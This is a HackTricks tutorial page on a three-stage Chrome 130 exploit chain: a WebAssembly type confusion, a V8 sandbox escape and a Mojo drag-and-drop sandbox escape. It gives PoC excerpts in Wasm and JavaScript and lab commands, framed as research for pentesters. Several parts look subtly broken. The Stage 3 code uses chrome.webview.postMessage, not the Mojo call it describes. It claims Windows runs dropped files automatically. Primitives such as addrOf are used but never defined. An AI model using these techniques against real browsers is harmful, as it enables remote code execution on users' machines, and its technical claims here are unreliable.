hacktricks/src/binary-exploitation/chrome-exploiting.md

185 lines
7.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface).
> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
## 1. Chrome Architecture Recap
Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
A *remote* attacker therefore needs **three** successive primitives:
1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**.
---
## 2. Stage 1 WebAssembly Type-Confusion (CVE-2025-0291)
A flaw in TurboFans **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
Effect:
* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
Minimal PoC (excerpt):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Trigger optimisation & spray objects from JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **arbitrary read/write within V8**.
---
## 3. Stage 2 Escaping the V8 Sandbox (issue 379140430)
When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
Key steps in exploit:
1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`).
3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`.
Wrapper identification:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
After corruption we possess a fully-featured **renderer R/W primitive**.
---
## 4. Stage 3 Renderer → OS Sandbox Escape (CVE-2024-11114)
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
Example (simplified):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
No additional memory corruption is necessary the **logic flaw** gives us arbitrary file execution with the users privileges.
---
## 5. Full Chain Flow
1. **User visits** malicious webpage.
2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox.
4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload.
Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS).
---
## 6. Lab & Debugging Setup
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Useful flags when launching a *development* build of Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Takeaways
* **WebAssembly JIT bugs** remain a reliable entry-point the type system is still young.
* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**.
* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** keep an eye on *non-memory* bugs.
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}